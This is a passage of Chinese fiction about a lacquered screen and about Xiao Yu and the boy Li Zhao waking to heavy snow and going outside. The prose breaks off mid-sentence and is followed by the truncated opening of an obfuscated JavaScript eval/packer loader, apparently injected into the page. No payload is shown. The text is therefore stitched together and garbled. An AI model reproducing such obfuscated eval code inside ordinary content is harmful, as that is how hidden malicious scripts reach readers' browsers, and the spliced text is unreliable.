那面屏风在暗处安静地立着，比之前多了几处细微的划痕，大概是某次天幕亮起时边缘的气流在螺钿表面留下的淡淡纹路。那些纹路在月光照到屏风面的时候会显出极浅的银灰色线条，像一片被刻在贝壳表面的、透明的河网。风从廊下穿过来，轻轻拂过屏风边缘又散开了，屏风上的纹路在光与影的交替中忽明忽暗地闪着，和墙上那幅冬树的画在另一个时空中无声地对望着，两个世界之间隔着一条长长的、看不见的通道，连接着两扇不同的门。
周日清晨，肖妤是被一种比平时更亮的反光唤醒的。窗帘没拉严，从缝隙里漏进来的光线比往常更刺目一些，带着一种白茫茫的、被大面积反射过的亮度。她翻了个身坐起来走到窗边掀开一角窗帘往外看——整片地面铺了厚厚一层雪，比周五那场初雪大得多，大概是从后半夜开始下的，到现在还没有停，雪花还在纷纷扬扬地飘落，把整个小区的轮廓裹成一片柔软的白色。
她站在窗边看了一会儿，然后去敲了敲李昭的房门。里面传来翻身的声音，过了一会儿门被打开了，李昭还穿着睡衣，脚上穿着一双冬天毛绒拖鞋，头发翘着，眼睛里还带着刚醒的朦胧。肖妤侧了侧身让他看到窗外那一片白，他站在原地愣了一下，然后小跑到窗边踮起脚尖往外看。他看着那片铺天盖地的白色，没有发出惊叹的声音，只是安安静静地站在窗前往外看了好一会儿，雪花落在窗玻璃上又滑落，留下细长的水痕，他顺着水痕滑落的方向看下去，目光最终落在楼下那棵梧桐树已经完全被雪覆盖的枝丫上。
早饭过后雪还没停，但比早晨小了一些。肖妤问他要不要下楼去看看，他点了点头，自己去换上了厚外套、围巾、帽子和那双防水的冬靴。冬靴是上周买的，第一次穿，他在门口踩了两下确认鞋底不打滑，然后先出了门往楼梯口走了两步，又回头等她跟上来。
楼下的雪积了大约两寸厚，踩上去发出咯吱咯吱的声响。李昭走了一步停下来低头看了看自己踩出来的那个完整的鞋印，
;eval(function(p,a,c,k,e,d){e=function(c){return(c